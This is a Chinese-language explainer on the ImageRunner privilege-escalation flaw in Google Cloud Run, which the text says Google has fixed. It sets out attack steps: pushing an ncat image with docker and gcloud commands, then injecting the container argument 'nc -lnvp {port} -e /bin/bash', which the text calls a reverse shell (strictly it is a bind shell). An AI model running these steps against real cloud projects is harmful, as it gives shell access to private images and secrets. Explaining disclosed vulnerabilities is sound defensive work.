ImageRunner漏洞:Google Cloud Run中的权限提升漏洞

什么是Cloud Run、Container Registry和Artifact Registry?

  • Cloud Run:一个完全托管的服务,用于在无服务器环境中运行容器化应用程序。它处理基础设施、扩展和执行环境,让你无需担心底层系统即可运行应用程序。
  • Container Registry:一个较老的服务,用于存储和管理容器镜像。自2025年3月18日起已被Artifact Registry取代。
  • Artifact Registry:下一代解决方案,支持多种类型的工件(包括Maven和npm包),提供更广泛的功能。

ImageRunner漏洞详细信息

漏洞概述:该漏洞允许攻击者利用Cloud Run修订版的编辑权限,访问同一项目中的私有容器镜像,即使他们没有相应的注册表权限。

攻击方法

  1. 获取必要权限 :攻击者需要run.services.updateiam.serviceAccounts.actAs权限。
  2. 更新Cloud Run服务:攻击者可以更新Cloud Run服务并创建一个新修订版。
  3. 指定私有镜像:在更新过程中,攻击者可以指定任何私有容器镜像作为新修订版的基础镜像。
  4. 注入恶意指令:攻击者可以通过添加命令或参数来注入恶意指令,例如使用Netcat(ncat)镜像建立反向连接,获取镜像内容或敏感数据。

示例代码和步骤

步骤1:拉取和推送ncat镜像

bash 复制代码
docker pull raesene/ncat
gcloud auth login
gcloud auth configure-docker
docker tag raesene/ncat gcr.io/{project-name}/ncat:latest
docker push gcr.io/{project-name}/ncat:latest

步骤2:更新Cloud Run服务

  • 使用具有run.services.updateiam.serviceAccounts.actAs权限的身份。
  • 更新Cloud Run服务并创建新修订版。
  • 指定私有镜像(例如gcr.io/{project-name}/ncat:latest)。

步骤3:注入恶意指令

  • 在容器参数中添加恶意指令,例如:

    bash 复制代码
    nc -lnvp {port} -e /bin/bash

    这将在攻击者机器上建立一个反向shell。

修复措施

Google已修复此漏洞,确保创建或更新Cloud Run资源的用户或服务账户必须具有显式的容器镜像访问权限。对于Artifact Registry,需要Artifact Registry Reader角色。

Jenga概念

ImageRunner是Tenable Research提出的"Jenga"概念的一个例子,指出云服务之间的依赖关系可能导致新的漏洞和风险。

相关推荐
子兮曰1 天前
jev-ultrafast 深度解析:7 秒订机票的浏览器 Agent 是如何炼成的
前端·后端·agent
子兮曰1 天前
Jev 爆发一周:7 秒 Agent 背后的 System One 生态与三场争议
前端·后端·ai编程
爱勇宝1 天前
ZCode 开源 24 小时:一份没有历史的账本,回答不了"有没有偷代码"
前端·后端·chatglm (智谱)
胡写代码1 天前
别再前后端各写一套表单校验了
java·后端
晨米酱1 天前
AGENTS.md:Agent 的上下文策略层
面试·架构·agent
大勇前进1 天前
原生 PHP 还是 Laravel?小项目到底要不要上框架
后端
yuzhi_liu1 天前
我用 LangGraph4j 实现 Multi-Agent Supervisor
后端
alsmile1 天前
Node-RED 之外,国产规则引擎的新方案:基于标准语法,Go 先行实现
后端·开源·go
大白801 天前
PHP 内存溢出排查思路:看懂报错日志,精准定位问题
后端
二月龙1 天前
PHP 接口返回统一响应封装,让前后端对接更省心
后端